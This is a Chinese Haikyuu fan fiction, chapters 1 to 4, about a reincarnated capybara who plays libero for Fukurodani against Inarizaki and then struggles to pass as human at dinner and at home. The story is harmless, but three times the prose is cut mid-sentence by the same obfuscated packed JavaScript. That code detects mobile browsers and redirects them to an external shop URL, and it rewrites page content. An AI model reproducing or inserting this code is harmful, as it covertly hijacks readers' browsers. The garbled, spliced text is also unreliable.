《[排球]水豚也可以打排球吗》 1. chapter1 兵库县。 稻荷崎体育馆。 六排强力的白炽灯笼罩下来,刺得人眼睛发涩。 场边负责翻动记分牌的队员,紧紧盯着场内,下意识屏住呼吸。 比分是20:16。 沉重的呼吸声在场馆内此起彼伏,灌满赤苇京治的耳朵。 网对面,不同球衣的少年们如同蓄满力量的弓,眼神里的火几乎要将空气点燃。 啪嗒。 啪嗒。 啪嗒。 汗液滴落在地板上。 还有四分就到赛点了,赤苇在衣摆上擦干净潮湿得发滑的掌心,抬头看向网对面。 稻荷崎的王牌主攻手尾白阿兰正在拧动手腕,而他身边,那个二传手宫侑神采飞扬,正笑着对队友说些什么。 半分钟前,就是这两个人的配合,打穿了枭谷后排防线。 手臂上的麻木感还没散去,指尖在球皮上摩擦了太多次,手感不像刚开赛时那么好了,发紧的小腿肌肉也在诉说着疲惫感。 平日沉稳的他,心里不免冒出些许烦躁。 好不容易约了关西地区豪门的练习赛,但临近出发时自由人小见春树脚踝扭伤了,再算上重感冒没办法上场的鹫尾辰生,枭谷的防守实力直接打骨折。 偏偏对面是进攻性极强的稻荷崎。 他们有着不输木兔光太郎的主攻手尾白阿兰,二传手宫侑更有过全国第一的称号,能和他的兄弟宫治打出防不胜防的快攻配合。 就连那位看上去心不在焉的副攻也不简单……刚才那一记角度刁钻到惊人的斜线球,此刻还在赤苇眼前晃动。 再这样下去,要输。 赤苇京治抬手抹掉下巴的汗。 代替鹫尾辰生上场的替补选手稻川修,拦网时跟不上宫治的速度,而后方的自由人是一年级新生,经验不足不说,肌肉也没练到位,根本接不住尾白阿兰的重扣。 可现在……又有谁能上场? 本来就是远征,枭谷过来的人不多,能比场上更靠得住的大概没有了吧。 “……”已经不抱希望了的赤苇京治转头。 余光却看到替补席上有道身影,慢悠悠地站起来。 他有一头浅金色的长发,发尾软软地耷在肩头,毫无攻击性的气质。 眼皮子耷拉下去,无声打了个哈欠,琥珀色的眼眸里氤氲着一层未散的水汽。 懒洋洋的样子将场馆内几乎凝滞的紧张冲淡几分。 他手里还拿着个空空的水杯,随意晃悠两下。 带着浓浓倦意的目光似乎在场边搜寻着什么,看样子是想去接水。 脑海中兀然晃过在意许久的画面,还没思考透彻,赤苇京治已经下意识扬起手。 “暂停——” 场上的氛围松懈下去,观众席的加油打气声渐歇。 木兔光太郎紧绷的肩部线条松弛下去,他困惑地揉了揉手掌,眉头拧成一团。 他灌了口水,抱怨:“狐狸好狡猾哦,球路拦的死死的。” 在他身边的木叶秋纪和尾长涉正擦着汗,显然也是累的不轻。 “快说话啦赤苇,”木兔挤了挤水瓶,水溅出来些,“最后一次暂停了吧,是要换人吗?” 枭谷的教练十分看重球员在场上的应变能力,练习赛都让他们放手去做,所以换人和战术,以及考场占位这些,都让他们自己去决定。 所有人都看向赤苇京治。 赤苇回过神来。 目光重新落在替补区的金发少年身上。 暂停时间替补队员随时准备上场,没了离开的权利,池原光只好坐回去。 并不在意场边的情况,他也不像其他替补队员那样紧紧盯着场边商议的众人,把水杯放在膝盖上,手指松松勾着杯口。 目光远远的,不知道落在哪里去了。 池原光是自由人。 他和赤苇京治是同期入部的,但因为个人的特殊情况几乎处于半退状态,训练断断续续,也从未在任何比赛中出场,像个沉默的影子。 暂停的时间不多,赤苇京治沉吟:“让池原光来打自由人的位置吧。” “池原光?” 大家面面相觑,在脑海中仔细回想,似乎怎么也找不到关于这个名字的深刻印象…… 木兔则冒出两个豆豆眼,“排球部有这个人吗?” 直到看到暗路教练去替补席喊人,池原光站起来。 木叶秋纪望过去:“他不是叫松原吗?” 尾长涉:“我之前听到有前辈叫他藤原……?” 木兔光太郎噗地笑了下:“到底是什么原啊,我看是圆鼓鼓的圆吧!” “这不是同一个字哦木兔前辈。”赤苇京治额头冒出三根黑线。 “……” 不远处,泷泽老师在对池原光交代着些上场的事。 正发呆的少年轻轻抬了下脑袋。 他琥珀色的眼眸,映出刚从球场上下来的选手们,带着几分懵然。 正好和看向这边的赤苇京治对视了。 池原光歪了歪头。 他不甚在意地盯着,脑子里还在处理泷泽老师和他说的话。 等对方说完之后,他随手把杯子放在凳子上。 再抬眼看过去时,和他对视的人,连带着他周围的人都在好奇地盯着这边了。 池原光起身往那边走。 他的步伐很轻,肩上的半长发被馆内微弱的气流带动,向后飘拂,整个人带着一种与周围紧绷感格格不入的悠然。 他眉眼间那层朦胧的困意,以及微微缩着的肩膀,看起来甚至有些弱气。 “我上场吗?” 声音也是轻而缓的,没什么紧迫感。 “嗯,还需要再准备准备吗?”赤苇京治说,“需要的话,可以申请等几分钟。” 池原摇摇头,没什么情绪:“直接来吧。” 他站在6号位上。 网对面,宫侑掂着球,走到了发球区。 宫侑的视线饶有兴趣地扫了过来,精准地落在新上场的池原光身上,像狐狸在雪地里发现了值得玩弄几番的新猎物,充满了探究和一丝不加掩饰的嚣张。 但池原光似乎感觉不到那锐意十足的眼神。 他只是低着头,慢吞吞地调整了一下护膝,然后才象征性地屈膝,摆出的接球姿势松散得让赤苇心里一紧—— 这个角度,他真的能看清球吗? “砰!” 宫侑的发球一如既往的凌厉,排球带着破空之声,直轰池原光胸口! 就在赤苇以为这分必丢无疑时,那个松散的身影动了。 他的移动没有任何预兆,也不是大幅度的跨步,更像是……被风吹过去的一片羽毛,轻飘飘地往后一滑,就恰好出现在了球的落点前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189158|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的起手动作看起来甚至有点慢,手臂只是恰巧抬到了那里。 “噗。” 沉闷的声音响起,像是把一块石头扔进厚厚苔藓里。 那颗力道千钧的跳发球,撞上他小臂的瞬间,仿佛所有的力量和旋转都被一层柔软而富有韧性的东西吸收了。 排球变得温顺无比,轻飘飘地弹起,划出一道堪称完美而舒缓的抛物线,径直飞向了二传手赤苇京治最舒服的位置——他的头顶正前方。 整个过程,池原光脸上没有任何吃力的表情,连呼吸的频率都没有变。 他甚至在那之后,才仿佛后知后觉地眨了下眼睛。 直到视野里闯入绚丽的颜色,赤苇京治怔愣一瞬。 身体比思维更快,他迅速插上,稳稳地将球托向网前最佳攻击点, “木兔前辈!” “heyheyhey!”压抑了整场的木兔光太郎兴奋地高喊着跃起。 眼前的视野开阔起来,他尽情挥动长臂,将排球如同炮弹一样狠狠砸向稻荷崎场地的空挡。 20:17。 “扣球得分!” “太帅了,一球换发!” “木兔前辈最厉害了!” “好舒服!我就要扣这样的球嘛!”木兔光太郎叉腰大笑。 赤苇京治则看向斜后方的池原光。 刚才那个球……巧合吗? 宫侑的大力跳发他不是没有接过,不仅球速快,而且旋转很厉害,从手臂上弹开都是常有的事,能控制球飞到空中就已经很不错了,但是刚才那个球…… 不仅卸下了原本的旋转,而且还飞向他最舒服的位置。 小见前辈也做不到吧……? 前面几人都在围着木兔光太郎夸赞,而池原光只默默站在后排。 他眼睫依然垂着,望着手臂上的红印子,沉思的模样,又带着几分惊奇。 赤苇京治:“……”感觉哪里不对劲。 但他对池原光实在不了解,也说不出哪里不对劲。 裁判响哨。 池原光轮换到5号位,在赤苇京治的后面。 发球的是轮换到后排的木叶秋纪,球拍过去,直直飞向宫治和赤木路成的中间。 宫治不慌不忙往旁边一让,赤木路成伸臂将球接起。 “侑!” “我来!”宫侑抬高手臂,球在他指尖一弹。 尾长涉和木兔光太郎看到银岛结起跳,以及他后面冲上来的宫侑,也立刻跟上拦网,却听到砰地一声,球越过尾长涉的手臂,砸在池原光面前。 尾白阿兰落地,欢呼了一声。 赶到半途的赤苇垂下手,有些关切地看过去。 金发被凌厉的风吹动,池原光仍然低着头。 他望着在他一步之遥的球弹了弹,又抬头看向网那边。 不像是在看扣球的人,更像是在球坠落的来路。 赤苇京治宽慰:“不用在意。” 宫侑的假动作做得太真,拦网直接就被骗走了,没能完成触球。 而且这种直接往下重扣的球本来就难接,更何况扣球的人还是全国前五的主攻手。 池原光像是没听到他的话似的,毫无回应,只是把球捡起来,抱在怀里轻轻摸了半圈,递过来。 对方冲他轻轻眨了下琥珀眸,声音很轻。 “我知道哦……他要扣球。” 2. chapter2 池原光知道扣球的会是尾白阿兰。 那是一种出于“攻击性”的直觉,来自于动物本性的直觉,像是在自然界,被野兽盯紧的动物总会随时拉响警报。 对面把球托出去时,池原光的警报响了。 但这种理由,他怎么跟赤苇京治解释呢? 难道说自己是在动物园里享受豚生的时候忽然魂穿人类的所以也具备一些你们灵长类缺少的动物直觉俗称兽性? 按照他安装的人类信息资源包,以及从漫画里学到的人类经验来看—— 大多数人类会选择报警。 …… “你说的是,你知道尾白前辈要扣球吗?” 赤苇京治略带惊讶的目光扫过池原光低垂的眼睫,忍不住问出来。 刚才那一记重扣没有任何阻挡就落在了枭谷半场,不仅是因为传球的宫侑做了假动作,连稻荷崎的攻手也是交叉跑位配合着起跳时间差。 能在这种情况下判断出是尾白阿兰的球? “……” 池原光点点头,却没有再说了,把手里的球往他面前递了递。 赤苇京治看着眼前的球,些许茫然地眨了眨眼。 通常死球后不是该把球抛还给对面吗……但他还是伸手接了过去,转身将球抛向稻荷崎的半场。 池原光退到原本的位置,默不作声地站着。 “哔——!”裁判响哨。 这次是尾白阿兰发球,他站在底线后面望了两眼,很快就锁定目标。 “尾白前辈。” 宫侑忽然出声,他悄悄在身后比了个“5”的手势。 尾白阿兰不动声色点点头,目光望向5号位的池原光。 侑是想试探对方自由人的接球能力吧。 换句话来说,刚才那个被接起来的大力跳发球,即使有落点太正的缘故,但能接起来也很了不起了…… 侑比他想象中的还要在意。 尾白阿兰调转了方向,把球抛起来。 在他掌根接触到排球的瞬间,池原光往边线挪了半步。 落点判断得相当准确,但极速破空的排球不允许他多做调整,在他摆好接球姿势的瞬间,带着巨大力度的球迎面撞来—— “砰——!” 池原光被撞得往后倒去,笨拙地在地上滚了半圈。 但是……接起来了! 赤苇京治在惊诧中迅速落位,照例传给他们的王牌,“木兔前辈!” 二传手和王牌和配合从来都是天衣无缝,木兔光太郎仿佛被声音牵引似的高高跃起,张开的手臂带着十足的力度,迎面扣下飞来的球。 “hey!” 但球没有跟他想象中的一样落在角名伦太郎后面,而是被银岛结和宫治组成的拦网拦了下来,反弹砸在他脚边。 啊啊啊好讨厌——!”木兔光太郎双手抱头,“好烦好烦,忽然就出现了!” 枭谷众人神色一凛,赤苇京治赶忙开口:“木兔前辈……” 就在这时,从地上慢吞吞爬起来的浅金发少年,一言不发地走向那颗还在滚动的排球,伸手按住。 赤苇京治话语一滞。 他以为池原光又要把球捡起来塞给他,“推给对面就好了。” 但池原光没有回答,也没有把球捡起来,就那么轻轻按在手底下。 震颤的球在掌心平息,指尖触碰到球皮,池原光眯起眼睛。 触感与在动物园里玩过的皮球类似,他也早就知道人类的玩球方法和水豚区别很大。 不是那种单纯的快乐顶球,而是带着“不可以让对方接到”的目的来打球的。 所以力度大得惊人,角度也更刁钻。 但这是他首次切身体验到——人类的排球比赛。 球不再像他躲在人群后面旁观时看到的那样,隔着一段安全的距离飞来飞去。 而是每一次扣杀都带着锐气和攻击性,直接冲着他的面前。 刚才球飞得太快,他看得不太真切,但是对面拦网人的动作他是能看清的。 那样五指张开,掌骨往下压的手型,会让反弹的球落在这里吗? 如果他要接,应该怎么接住? 速度很快,他用这具身体跑过来肯定来不及,所以他要提前站在这里。 那如果手掌和手腕角度改变,那球的落点也会改变,理论上来说球会落在所有的位置,他需要预判到每个球的落点然后站过去吗? 想想就……好累。 之前他看出尾白阿兰会扣球,但他依然没有接到。 现在这个球从对方的手臂上折射落下,他也没有接住。 因为球场太宽了,稍微变向他就得跑好几步,自由人原来是这么劳累的位置吗? 懒得去思考了……怎么想也不可能完成任务。 他的人类身体并不出色,所以就算猜到了落点也没有接起来。 发球这种直接“入侵领地”的危险他还能够化解,而眼花缭乱的扣球总是在他的本能防御范围之外……就很麻烦。 而且他还没学会卸力,刚刚那个球把他拍在地上,屁股还好痛。 池原光蹲在原地,本来就无神的目光又黯淡几分。 “……” 随着他奇怪的行为,球场上的各位也一时没有反应过来。 裁判忘了响哨,网对面的宫双子挂着网盯着他,角名伦太郎甚至蹲下来从腿缝间瞅了瞅。 直到死球时间快要结束,木叶秋纪才忍不住出声:“你在干嘛,快把球还给人家啦。” 池原光毫无反应。 “……” 赤苇京治无法,走到池原光身边蹲下,手掌落在他肩上。 池原光的肩膀比他想的还要瘦,真的可以摸到骨头,他低声询问:“……怎么了池原?” 池原光默默抱住自己的膝盖,声音闷闷的:“……好累。” “哈——?”木兔光太郎不可置信地瞪大眼睛,“你才接了几个球吧?!” “噗。” 网对面,不知道是谁先没忍住笑出了声。 这声调侃像是按下了某个开关,球场内外响起一片更明显的低笑声。 池原光在这片喧闹中睁开眼,慢了好几拍才意识到—— 人类是很坚强的生物,不会运动到一半忽然躺下去睡觉,除非是失去生命体征了。 跟怠惰的水豚根本就不一样。 他只好摸摸还在隐隐作痛的屁股:“……那继续打球吧。” 说着,他慢吞吞站了起来。 把那个被遗忘了片刻的排球捡起,递给赤苇京治,然后走回自己的位置。 “好了好了,都回位!”裁判见状,终于用力吹响了哨子。 依然是尾白阿兰发球。 他看着宫侑背后那个挥动的手指,抛球助跑,以和上次相同的姿势把球发过去。 池原光的接发一如既往地轻松,他只是简单地侧移,然后屈膝合臂。 “啪!” 球被改变方向,他被冲力带得往后仰。 手臂传来火辣辣的灼烧感,不过他安静的眼眸里浮现出一丝轻松感。 他喜欢接这样的球。 落点全都在他周围的位置,他只要稍微挪动一些就可以接到,不用到处跑。 这才是他理想的排球嘛! 他顺着球的方向看过去,这次扣球的是尾长涉。 他本来想扣在对方后排的空挡上,结果被赤木路成及时补位救起来,在宫侑的策动之下,银岛结跳起来挥臂扣球。 池原光瞳孔微震。 按照对方现在的高度,手掌和球的距离,再看队友的位置…… 感觉扣在哪里都很有可能。 但是凭借着直觉,他判断出银岛结的目标是在中间。 ——那里有最为强烈的危险信号。 池原光克制着逃避危险的本能,脚步微动。 正当他站在自身感觉到的最危险的地方时,他眼前豁然出现几双手,指尖张开,如同忽然生长出来的芦苇丛。 手掌与手掌仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189159|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连成了网,阴影投落在他眉眼之间。 空中的银岛结被遮挡,没有更多时间了,他只能仓促调整,选择最有把握的线路。 池原光迅速调整位置,伸出手臂。 球被抬高。 “救起来了!” “好球!” “机会球!” 在队友兴奋的夸赞声中,池原光的目光没有追随排球,而是落在前排那几双刚刚落下但仍带着威慑里的手臂上。 就在他们抬手的瞬间,他直觉中的危险性发生了清晰的变化。 当那片“芦苇丛”陡然出现在眼前时,他感受到的绝大部分危险信号仿佛瞬间被收窄了。那些可能扑向任何角落的球,被挡去了大部分去路,最后只剩下极少数的空间。 就像湍急的溪流被巨石阻挡,最后只能从固定的缺口涌出。 而他,只需要站在那个缺口前。 池原光捏捏手指,身上消沉的气息散去了些。 堵住球会袭来的缺口,比在遍布半场的危险信号里追寻球的方向,要轻松太多了。 他对排球有了一丢丢的自信心。 …… 换上池原光之后,局势明显好了许多,最终和稻荷崎纠缠到31:29,枭谷惜败。 哨声刚落,木兔光太郎已经鼓着脸要求再打几局了,而网对面则弥漫着快乐的气息。 “我说了吧!”宫侑得意大笑,“就算你们藏了秘密武器,也是打不赢我们的!” 气鼓鼓的木兔愣住:“秘密武器……什么秘密武器?” “你们的自由人啊。”宫治眼神瞥向场外。 那个浅金发的自由人正坐在凳子上,表情纯良而无害,完全看不出在场上凶悍的发挥。 可他几乎在接发球的时候没失手过…… 这放在哪个自由人身上都是可以引以为傲的表现了。 尾白阿兰也忍不住咋舌:“刚才这个自由人,从来没上场过吧。” 按照他们看过的录播和资料来看,枭谷原本的自由人在去年春高结束之后就引退了,现在的自由人是小见春树才对。 联想到枭谷舍近求远地邀请稻荷崎打练习赛,莫非就是不想让东京的本土对手知道他们招了这么厉害的自由人? “呃……” 眼看着要被狐狸队认证成心机猫头鹰了,但枭谷众人想解释,又不知道从何说起。 难道说他们也不知道池原光的水平,瞎蒙的? 这谁信啊! 有这种水平不在入部的时候用脚踹开大门然后说出“臣服吧我会带领你们走向至高无上的顶点!”的宣言都算谦虚的了,怎么可能甘心当替补中的替补? 偏偏这么离谱的事就是发生在他们队。 枭谷众人沉默了几秒,不约而同决定将错就错,露出“没想到我们最后的底牌也没能制裁住你们可恶啊!”愤怒又纠结,还混杂着心虚的表情。 大家开始互相使眼色,强装大尾巴狼。 “啊哈……” “我们新来的自由人很厉害吧……呵呵!” “可惜这次差了两分,等着吧!下次把你打到哭!” 而站在一旁沉默不语的赤苇京治,望向场外。 不远处的池原光终于把他的巨大水杯灌满水,不过没有立刻喝,而是把脸贴在冰冷的杯壁上,露出心满意足的神色。 过了一会儿才开始咬着吸管喝起来,眼神还是直勾勾盯着杯子里的水。 ……不知道这家伙又在想什么。 赤苇京治仔细找寻,才发觉记忆里关于池原光的片段少得可怜。 训练后悄悄离开的脚步,休息时偶尔在场边角落安静坐着的模糊身影,交入部申请时简短到近乎沉默的对话……这就是全部了。 最后就是某个深夜排球部门口被击飞的排球,和一闪而过的身影。 仅有的信息很难解释,这个自由人身上存在的疑点。 池原光的能力怎么会这么强? 他又是为什么选择在排球部划水摸鱼? 3. chapter3 可惜打完练习赛也不是立刻回家,而是在兵库县吃饭,再回东京。 暗路教练和泷泽老师请客吃神户牛肉,说是运动后就该补充些高质蛋白,况且关西地区的神户牛肉味道一绝。爱吃烤肉的木兔光太郎第一个响应,唰地蹦出去。 池原光坠在队伍后面,神色怏怏地抱着水杯。 被吸管搅动的水面荡漾起来,像个小小的漩涡,他脑海里只有一个念头。 好想钻进去……好想钻进去…… 从昨天坐上大巴开始,他就没泡过浴缸了。 感觉浑身的皮肤都干干的,喝再多水都不起作用,他快要干涸而死了。 到底什么时候才能泡水啊,他现在比找不到厕所的人类还着急! 池原光盯着水面发呆的神情被赤苇京治尽收眼底,他交代完雀田经理多注意木兔前辈的状态,脚步顿了顿,还是落到了队尾。 他提醒道:“运动后不要饮水过量,容易导致电解质失衡。” 池原光动作停住,眨了眨眼。 几秒后他“哦”了一声,仰头把最后一点水喝光。 赤苇京治看着他头顶那缕晃动的呆毛,心里那点怪异感又冒了出来。 这种反应,总让他觉得池原光像是某种按特定程序运行的……家养小动物。 总感觉哪里不对劲……又或许只是错觉。 …… 到了店里,十来个体格健壮的少年快把桌子占满了。 赤苇京治目光扫过正兴奋地围着烤炉的木兔前辈,犹豫几秒,最终选择坐在了安静捧着空水杯的池原光旁边。 服务员端着巨大的铁盘走来,烤得焦香的肉块滋滋作响,浓郁的肉香瞬间抓住了所有人的注意力。 “哇哇哇——” “神户的牛肉最香了!” “感谢教练,我开动啦!” 盘子还没放稳,几双筷子已经伸了过去。 赤苇京治习惯性地夹了一筷子,正准备吃,眼角的余光却瞥见身边的池原光正拿着片绿油油的生菜,双手捏着边缘,啃得咔嚓咔嚓响。 手太慢没抢到肉吗? 赤苇被他的进食姿势困惑了几秒,还是把自己筷子上那块烤得刚好的牛肉放到他盘子里:“多吃点肉,补充蛋白质。” 池原光嘴巴顿住:“……” 视线从生菜移到肉块上,又抬眼看赤苇,琥珀色的眼睛里闪过一丝清晰的……为难? 沉默两秒,他还是飞快地把剩下的生菜塞进嘴里,然后像是完成任务一样,慢吞吞地夹起那块肉吃了下去。 他低低脑袋:“谢谢你。” “不客气。”赤苇京治淡淡笑了下,心里的疑惑却加深了。 接下来几盘肉,赤苇刻意观察着。 结果他发现根本不是池原光抢不到,他那是抢都不抢。 每次肉被夹走之后,他就开始伸筷子去夹底下的生菜,连续好几盘的生菜都被他一个人包圆了,脸吃得鼓鼓的,咔嚓声不断。 ……就这么不爱吃肉? 或许是他的目光停留得太久,池原光嚼生菜的动作顿住。 他看了看赤苇,又低头看了看自己盘子里仅剩的几片绿叶子,像是经过了一番认真的思考,然后小心翼翼地将那几片生菜夹起来,放到赤苇京治的盘子里。 他表情认真:“如果你想吃的话,我会分享的。” 赤苇:“……” 他看着眼前绿油油的食物,一时失语。 运动完之后竟然能抵抗优质蛋白的吸引力,这种挑食程度已经算得上不多见了。 怪不得这么瘦……隔着T恤都能看清肩胛骨的形状。 坐在另一边的猿杙大和也注意到这边,笑着打趣:“光吃菜叶子是不行的哦,你又不是兔子。” 是水豚啦。 水豚也是草食性动物。 池原光在心里默默回应,用筷子轻轻戳了戳碗里所剩无几的生菜。 一左一右的视线都落在他身上,带着不容拒绝的关切。池原光终于妥协,慢吞吞地尝试着用生菜叶片包裹住赤苇后来不断给他夹的肉条,然后像是下定决心似的,塞进嘴里囫囵吃掉。 有生菜的包裹,他似乎更能接受一些。 这时木兔那边闹腾起来,似乎要进行什么比赛,高声喊着赤苇。 赤苇京治往那边看了眼,叮嘱池原:“肉要多吃,最好再吃半碗米饭。” 池原光默默点头。 看似同意,实则豚决定悄悄让这些肉消失。 正当他用筷子即将把肉转移到餐盘外面时,转头就看到猿杙大和那张微笑的脸。 猿杙大和:“要乖乖吃掉哦——” 池原光吓得抖了抖。 他瞥见猿杙的猫猫嘴,假装什么都没发生,把肉放进嘴巴里。 怎么跟吃药似的,神户牛肉有这么难吃吗? 猿杙大和看着他快速咀嚼然后咽下去的动作,满脑子问号。 难道是这牛肉有问题? 或者是池原是稀有的素食主义者? 猿杙大和严肃盯着餐盘,思索着各种离谱的可能性。 …… 处理好木兔前辈那边的热闹,赤苇京治终于能回到座位。 他刚坐下,旁边的池原光就立刻把手里吃得干干净净的空碗展示给他看,碗底朝天。 “吃完了,”他跟完成任务似的,补充重点,“米饭也吃了。” 他仰着脸,发尾乖乖地落在肩膀上。 琥珀色的眼睛圆而清澈,安安静静地望着赤苇。 见赤苇京治没说话,他无意识捏紧杯带,发出摩挲的声音。 赤苇愣了下才反应过来:“吃饱了?” 池原光点头,然后立刻抱起那个巨大的水杯,眼睛一眨不眨地看着赤苇,带着明显的试探。 “你要去接水吗?”赤苇莫名读懂了。 池原光闻言,非常谨慎地强调:“我只喝一点点。” 他还特意加重了最后三个字,但眼神里分明写着“我其实很想喝多点但是怕你不让我喝”。 “……” 赤苇京治忽然反应过来。 池原吃完饭还等在这里,向他展示空碗……是因为想去喝水? 又因为他在店外提醒过不要喝多,所以特地寻求他的同意? ……他好像很信任自己。 靠谱的二传手心里涌起一股微妙的责任感。 照顾木兔前辈习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189160|197046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯了的赤苇,几乎本能地接受了这个新发现——以后可能还要多照看一个自由人。只是他这时还没意识到,这个自由人的棘手程度,或许不比木兔低。 “你去吧,”赤苇语气不自觉地放轻,“注意不要太撑。” 得到许可的池原光,眼睛微微亮了一下,抱着水杯快乐地飘走了。 赤苇京治看着他的背影,终于能安心坐下吃饭。 这家伙……还真是难以形容的奇怪。 不仅行为奇怪,对他的态度似乎也有些奇怪。 就像是…… 小动物对待饲养员的感觉? 赤苇京治被自己这种有些恶俗的想法吓一大跳,连忙吃了块肉压压惊。 这时候猿杙大和忽然凑过来:“你觉得这是假牛肉吗?” 赤苇京治:“?” …… 走过拐角的池原光顿下脚步,心有余悸地呼了口气。 他自己回想餐桌上的一举一动,应该还算像个人类吧? 虽然转生很久但鲜少和人类打交道的水豚同学,忍不住在脑内复盘。 说的是人类语言。 没有说漏嘴自己的水豚身份。 也没有发出呼噜声。 表情……人类也可以没有表情…… 除了对肉类的些许抗拒,但属于正常的范畴之内。 今天也是完美伪装的一天! 水豚同学轻快地走向饮水机,冰凉的水流碰击杯壁的声音带走了他最后一丝忧虑。 这边,赤苇京治看着池原光消失在拐角,终于在脑内摆脱了“池原光是小动物”的这种离奇想法,这时候猿杙大和说出了他的第二个问题。 “或者池原光其实是素食主义?” 赤苇京治:“……?” 今天到底是怎么了……队友怎么都这么奇怪! 正在思索如何回答前辈的无厘头提问,猿杙大和忽然端着碗跑了,赤苇京治刚疑惑着抬起头,正对上木兔闪闪发亮的眼睛。 “赤苇!赤苇!”木兔不知何时跑过来。 他压低声音,兴奋得像是发现了宝藏,“明天可以让这个新的自由人接球吧?!” 今天有他在,扣球手感超——好的! 赤苇松了口气。 这是今天最正常的问题了…… 平时想法最天马行空,说话最稀奇古怪的木兔前辈,竟然变成最正常的那个……怎么想都有些诡异。 不过猿杙前辈既然离开了的话,他就不用回答问题了吧。 赤苇京治欣然看向木兔:“木兔前辈,明天在训练的时候可以试着邀请他。” 正好他也想探究,池原光身上的疑点。 不管怎么说,原本几乎隐身的池原光已经被暴露在了枭谷众人的视野之中。 他之前的做法或许有他的理由,但既然展现出了这种天才级别的接球能力,不管是排球部的其他人,还是教练,多多少少都不会任由他把自己藏起来吧。 那个总是消失不见,安静得像影子的同期,已经被拖到了光下。 明天的训练应该会很有趣吧。 在木兔高兴的声音中,赤苇京治这么想着,唇角不由自主扬起期待的弧度。 4. chapter4 钥匙转动,门锁发出轻响。 啪嗒灯被按亮。 空寂了两天的屋子终于有了活豚的动静。 池原光几乎是挤进家门的,背上运动包滑落的瞬间,他长长地呼出一口气。 他看也没看,径直拖着发软的身体挪向浴室。 浴室的灯还没完全亮起来,他已经拧开了水龙头,将花洒放进浴缸,在哗啦啦的水声中把自己剥光。 从踢掉鞋子到整个人滑进水中,整个过程没超过两分钟。 “呼呼……” 愉悦时,他还是忍不住发出属于水豚幼崽的呼噜声。 今天对他而言确实有些超负荷了。 他不是正选队员,平时的运动量还不到正选的一半,相当轻松。往常他只需完成基础训练,再垫几组球就能回家。 可去兵库县不仅要双倍训练,还打了比赛,这几乎耗尽了他作为一只小水豚的全部精力。 更别说他整整两天都没泡水。 差点就要变成扁扁的水豚干了! 池原光伸手拨动水面:“……” 不过即使很累,他觉得也学到了很多知识。 至少他现在对接球角度有了更直观的认识,也稍微理解了如何应对被拦网挡回的球。 这都是之前没有接触到的。 由于他接触排球的初衷仅仅是因为医生说他需要锻炼身体,所以在排球部,他只追求会按照非正选的标准,练几个球达到身体发热且稍微有些气喘的程度就离开。 他接的这些球,都是混社团分的那些人类给他扔的。 轻飘飘软绵绵,像是动物园里饲养员冲他扔青草那样没有威胁性。 直到他接了木兔光太郎的球,才知道不是所有球都是青草—— 还有可能是炮弹! 不过也多亏了那次惨遭排球殴打的经历,今天上场之后,他才没被宫侑的发球直接掀翻。 ……也算因祸得福。 …… 浴缸里的水温渐渐降低。 池原光站起来,抖抖身上的水珠,重新换了热水。 淋浴头仰在浴缸中间,喷出来的水就像温泉的浪花,升起再下坠,落在洁白的瓷壁上,激起枯燥重复的声音。 从热水里抽身的池原光用浴巾把自己裹紧,头发上的水顺着他的眉尾淌下去。 他透过百叶窗的缝隙望向外面,米粒般的灯火零星点缀着黑夜。 这具身体是有亲属关系的。 只是重大病故导致家庭积蓄几乎被清空,在他身体痊愈之后,妈妈不得不开始忙于工作,连照顾他很久的表哥也因为上学而去了别的城市。 他就只能孤零零的了。 时间长了就会有奇怪的感觉从心底蔓延出来,说不清的感受。 浴缸里的热水渐渐漫过淋浴头,卫生间安静下去。 等水面快要到达浴缸边缘的时候,池原光扔开浴巾,沉沉躺下去。 他睁着眼,望着天花板发呆。 实话说,他还是很喜欢去学校的。 那里有很多和他相同的人类,三四十个人待在一个教室里,课间的时候也会出现叠成一片的玩耍游戏,让他找回了在水豚堆里的感觉。 排球部也不错,虽然那些人类有点吵闹,运动量也大得让豚吃不消。 但至少……不用像现在这样冷清地待着。 他在浴缸里泡到手指发皱,才恋恋不舍地爬起来。 温热的水带走了肌肉的酸痛,但那种作为水豚被过度耗干的疲惫感,却不是一次泡澡就能补回的。 他需要睡眠,很多很多的睡眠。 …… 睡眠确实很多。 多到次日被闹钟吵醒时,池原光感觉自己的魂魄还沉在浴缸底。 他靠着“不去上学会被警察抓走研究”的自我催眠,勉强把自己从被窝里打捞起来,飘忽着完成了“去学校听课”这一系列的人类日常。 当放学铃终于响起,这只在睡眠中被无数次强制开机的水豚同学,困困地来到了体育馆门口。 今天怎么还没结束…… 再也不说自己喜欢学校了……他讨厌上学! 换好运动服,池原光忍不住打了个喷嚏。 大概是还保留着水豚的底层代码,他感觉春末的冷风带走了他的温度,对他这具亲水又怕冷的身体格外不友好。 